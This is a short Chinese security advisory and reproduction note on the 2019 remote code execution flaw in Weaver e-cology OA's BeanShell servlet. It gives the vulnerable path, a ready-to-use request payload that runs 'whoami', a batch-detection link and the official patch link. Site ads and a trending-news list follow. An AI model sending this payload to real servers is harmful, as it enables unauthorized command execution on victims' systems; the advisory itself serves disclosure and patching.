泛微E-cology OA远程代码执行漏洞0day 复现/POC
2019年9月19日,泛微e-cology OA系统自带BeanShell组件被爆出存在远程代码执行漏洞。攻击者通过调用BeanShell组件中未授权访问的问题接口可直接在目标服务器上执行任意命令,目前该漏洞安全补丁已发布,请使用泛微e-cology OA系统的用户尽快采取防护措施。
- 漏洞名称:泛微e-cology OA系统远程代码执行漏洞
- 威胁等级:严重
- 影响范围:泛微e-cology <= 9.0
- 漏洞类型:远程代码执行漏洞
- 利用难度:容易
复现
漏洞路径:/weaver/bsh.servlet.BshServlet
poc:
bsh.script=exec("whoami");&bsh.servlet.captureOutErr=true& bsh.servlet.output=raw&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw
批量检测:https://github.com/sunird/e-cology-poc
修复
官方补丁:https://www.weaver.com.cn/cs/securityDownload.asp关注公众号:拾黑(shiheibook)了解更多
[广告]赞助链接:
四季很好,只要有你,文娱排行榜:https://www.yaopaiming.com/
让资讯触达的更精准有趣:https://www.0xu.cn/
关注网络尖刀微信公众号
随时掌握互联网精彩
随时掌握互联网精彩
赞助链接
排名
热点
搜索指数
- 1 中美关系能够有一个更好的未来 4944079
- 2 维权平台现多起小米汽车退定投诉 4980141
- 3 男童去世身上多处伤 父亲:生母被拘 4821462
- 4 以新质生产力引领经济增长 4727468
- 5 90%的年轻人担心自己有病 4646813
- 6 蔡磊回应再捐1个亿 4599173
- 7 多地都有自己的王婆了 4490746
- 8 日本5人服用小林制药保健品后死亡 4335451
- 9 北京辟谣图书馆有偿招志愿者 4266201
- 10 吴磊吃绿鸡蛋食物中毒 4172650